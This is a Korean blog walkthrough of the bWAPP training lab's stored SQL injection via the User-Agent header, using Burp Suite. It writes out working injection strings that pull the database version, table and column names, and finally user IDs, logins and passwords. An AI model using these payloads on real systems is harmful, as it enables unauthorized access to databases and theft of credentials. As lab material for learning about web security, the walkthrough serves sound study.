이 도구를 이용하여 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위 입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.
A1 - SQL Injection - Stored (User-Agent)
SQL Injection은 사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여 데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점 입니다. SQL Injection은 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생할 수 있습니다.
1. User-Agent
- HTTP 요청시 헤더에 포함되는 클라이언트 정보를 뜻합니다.
비박스 SQL Injection -Stored (User-Agent) 화면입니다. 화면을 보시면 자신의 정보가 표시되는것을 확인할수 있습니다.
해당 문제는 User-Agent 정보에 SQL Injection 공격을 하는 내용으로, 프록시 툴이 필요 합니다. 프록시 툴을 Burp Suite를 사용하도록 하겠습니다.
Burp Suite를 이용하여 취약점이 있는지 확인하기 위하여 User-Agent 값에 '(작은따옴표)를 입력하였습니다. Burp Suite 사용법을 모르시는 분들은 앞에 블로그에 올려 놓았으니 천천히 확인해주시기 바랍니다.
'(작은따옴표)를 입력하여 값을 넘겨주면 위와 같은 에러코드가 나오는것을 확인할수 있습니다.
version',(select @@version))#
계속해서 User-Agent 부분에 SQL 쿼리를 입력하여 버전정보를 확인해 보았습니다.
값을 정상적으로 넘겨 주었다면 User-Agent 부분에 앞에 입력한 텍스트(version)이 표시되고, IP Address 부분에 SQL 버전이 출력이 되는것을 확인할 수 있습니다.
DB 정보출력
database', (select database()))#
DB 정보 출력화면
table', (select table_name from information_schema.tables))#
테이블 정보를 확인하기 위해 쿼리를 날렸더니 아래와 같은 에러메시지가 출력이 됩니다.
Error: Subquery returns more than 1 row
위와 같은 에러메시지가 뜨는 이유는 서브쿼리의 결과가 1줄밖에 출력하지 못한다는 뜻이므로 limit 구문을 사용해서 한줄씩만 출력되도록 해주어야 합니다.
limt을 이용한 테이블 정보 확인
table', (select table_name from information_schema.tables limit 0,1))#
table', (select table_name from information_schema.tables limit 0,1))#
table', (select table_name from information_schema.tables limit 1,1))#
table', (select table_name from information_schema.tables limit 2,1))#
테이블 정보를 확인하기 위해서는 limit 값을 올려주며 해당 컬럼 값을 확인할수 있습니다.
컬럼 정보확인
columns', (select column_name from information_schema.columns where table_name='users' limit 0,1))#
information',(select concat(id,login,password) from users limit 0,1))#
information',(select concat(id,login,password) from users limit 1,1))#
단일로검색 할경우
information',(select id from users limit 0,1))#
information',(select login from users limit 0,1))#
information',(select password from users limit 0,1))#
id, login, password 값을 넘겨주면 정상적으로 화면에 출력되는것을 확인할수 있습니다.
'Code::Security > 비박스(BWAPP)' 카테고리의 다른 글
비박스(bWAPP) SQL Injection - Blind - Time-Based (0) | 2021.06.17 |
---|---|
비박스(bWAPP) SQL Injection Blind - Boolean-Based (0) | 2021.04.15 |
비박스(bWAPP) SQL Injection - Stored (SQLite) (0) | 2020.01.03 |
비박스(bWAPP) SQL Injection - Stored (Blog) (0) | 2019.11.27 |
비박스(bWAPP) SQL Injection (SQLite) (0) | 2019.11.15 |